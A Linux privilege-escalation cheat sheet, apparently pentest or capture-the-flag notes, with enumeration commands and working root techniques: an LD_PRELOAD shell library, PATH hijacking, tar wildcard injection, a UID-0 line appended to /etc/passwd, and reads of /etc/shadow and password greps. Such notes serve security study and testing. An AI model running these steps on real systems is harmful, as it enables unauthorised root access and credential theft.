๐Ÿง Linux Privilege Escalation

Mental checklist

Sudo/privilege misconfig โ†’ credential hunting โ†’ SUID/SGID โ†’ capabilities โ†’ writable service config โ†’ cron โ†’ writable files.
Start with whoami and id. Run LinPEAS, then follow up on SUID and anything unusual.

System / kernel

uname -a                                  # kernel + arch
cat /proc/version
cat /etc/issue                            # distro
searchsploit linux kernel VERSION         # start specific, then broaden the version

Users / sudo / environment

sudo -l                                   # what can I run as sudo? (cross-ref GTFOBins)
sudo -u SOME_USER SOME_COMMAND            # run a command as another user
sudo -V                                   # sudo version (old = exploitable)
cat /etc/passwd                           # system users
cat /etc/shadow                           # hashes (if readable)
cat /etc/passwd | cut -d ":" -f 1         # just the usernames
echo $SHELL                               # current shell
echo $PATH                                # current PATH
history                                   # command history
env                                       # environment variables

LD_PRELOAD abuse

When: sudo -l shows env_keep += LD_PRELOAD. Goal: load your library as root.

  1. Write a library that drops a root shell:
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
  2. Compile it:
    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  3. Run any allowed sudo command with LD_PRELOAD set:
    sudo LD_PRELOAD=/home/user/shell.so find

PATH hijack

When: a privileged script calls a binary (e.g. tar) by name, without an absolute path.

  1. Create a malicious binary with that name in a writable dir:
    echo 'MALICIOUS' >> /tmp/tar
  2. Put your dir first on PATH, then run the privileged script:
    export PATH=/tmp:$PATH
find / -perm -u=s -type f 2>/dev/null -exec ls -la {} \;     # SUID binaries
find / -writable -type d 2>/dev/null                         # writable directories
find / -type f -user USERNAME 2>/dev/null                    # files owned by a user
find / -name ".*" -type f 2>/dev/null                        # hidden files
grep --color=auto -rnw '/' -ie "Password" 2>/dev/null        # grep the FS for passwords
getcap -r / 2>/dev/null                                      # capabilities
cat /usr/bin/chmod > somefile                                # duplicate a locked binary

Capabilities (subtler SUID)

  • cap_dac_read_search โ€” privileged file read
  • cap_dac_override โ€” privileged file write
  • cap_chown โ€” change ownership of any file
  • cap_fowner โ€” change permissions of any file
  • cap_setuid / cap_setgid โ€” run as another user/group (โ‰ˆ SUID/SGID)

Cron

cat /etc/crontab                     # scheduled jobs
grep "CRON" /var/log/syslog          # cron activity in logs
watch -n 1 "ps -aux | grep pass"     # watch live processes (or use PSPY for hidden ones)

NFS (no_root_squash)

When: /etc/exports has an entry with no_root_squash โ€” files you create keep your UID, so a root-SUID binary stays root-SUID.

cat /etc/exports                     # look for no_root_squash
showmount -e R_HOSTIP                # list exports
mount -o rw R_HOSTIP:/PATH /myPATH   # mount it, drop a SUID binary

Wildcard (tar) injection

When: a root cron/script runs tar ... * in a directory you can write to.

tar czf /tmp/flask.tar.gz *
# plant files whose names are tar options, e.g.:
#   --checkpoint=1
#   --checkpoint-action=exec=getroot.sh

/etc/passwd write (when writable as root)

  1. Generate a password hash:
    openssl passwd -1 -salt SALT PASSWORD
  2. Append a UID-0 user:
    echo 'sasuke:$1$jlX/nz9g$CddSuG5PoTI/9bLGZzDum1:0:0:root:/root:/bin/bash' >> /etc/passwd

Misc leads

  • Old binary needs GLIBC_2.34 โ†’ sudo systemd-nspawn -M Xen.
  • bash -p can hand you a privileged shell.
  • User in the LXD group โ†’ container escape.
  • Firewall config: cat /etc/iptables/rules.v4.

Networking quick-check

ip addr          # interfaces
ip route         # routes
routel           # routes (table form)
ss -anp          # all sockets + process
ss -tnl          # listening TCP
netstat -ano     # all sockets, no DNS
lsof -i :6379    # what owns a port

Tools: PEASS-ng ยท LinEnum ยท GTFOBins ยท PSPY.